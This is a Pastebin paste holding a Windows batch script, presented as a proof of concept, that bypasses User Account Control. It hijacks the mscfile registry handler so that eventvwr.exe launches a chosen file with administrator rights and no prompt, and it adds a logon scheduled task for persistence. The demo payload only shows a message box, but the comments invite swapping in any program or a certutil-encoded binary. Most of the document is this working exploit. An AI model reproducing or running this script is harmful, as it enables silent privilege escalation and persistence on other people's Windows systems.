ch4rl1e97

regE UAC Bypass

Mar 21st, 2017
740
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 1.80 KB | None | 0 0
  1. @ECHO off
  2. TITLE g's UAC bypass
  3. ::Build number 041821032017TV
  4. ::ECHO off
  5. REM This is a proof of concept of an all-batch UAC bypass.
  6. REM e.g. on an administrator account it can elevate in theory any program to
  7. REM administrator permissions without prompting the user with UAC, and executes
  8. REM the target program silently.
  9. REM here, the target program is another .bat written by this one (of which makes a vbs text box appear).
  10. REM you could load a certutil encoded program into this instead if you wanted.
  11.  
  12.  
  13.  
  14. ::Create the key structure that eventvwr.exe looks for
  15. REG ADD "HKCU\Software\Classes\mscfile\shell\open\command" /f
  16. ::Set where the file we want to have bypass UAC will be
  17. SET "target=C:\Users\public\UACBuster.bat"
  18. ::
  19.  
  20. ::Create the batch that will create the startup task to run eventvwr.exe
  21. DEL %target% /f
  22. ECHO SchTasks /delete /tn "Rebooty Call" /f >%target%
  23. ECHO SchTasks /create /tn "Rebooty Call" /tr "C:\Windows\System32\eventvwr.exe" /sc ONLOGON > %target%
  24.  
  25. ::Set eventvwr to run the above file.
  26. REG ADD "HKCU\Software\Classes\mscfile\shell\open\command" /ve /d "%target%" /f
  27.  
  28. ::Run eventvwr.exe to create the logon schedualed task.
  29. START eventvwr.exe
  30.  
  31. ::timeout to allow eventvwr to do it's stuff, otherwise have a race condition.
  32. ::This wont work on Windows XP, replace with a delay using PING
  33. TIMEOUT 1
  34.  
  35. ::Create the payload file, replacing the file created above. THIS IS THE PART YOU SHOULD SWAP FOR YOUR OWN SCRIPT/PROGRAM!
  36. DEL %target% /f
  37. ECHO ECHO result=MsgBox("IT WORKS! IT WORKS! YAY!" , 0+48, "UACBypassed") ^> test.vbs >> %target%
  38. ECHO ECHO WScript.Echo result>> %target%
  39. ECHO test.vbs>> %target%
  40. ECHO DEL test.vbs>>%target%
  41. ECHO ECHO I EXIST AT TIME %%time%% ^> C:\confirmationFile.txt>> %target%
  42.  
  43.  
  44.  
  45. ::start eventvwr and thus the payload file.
  46. START eventvwr.exe
Advertisement
Add Comment
Please, Sign In to add comment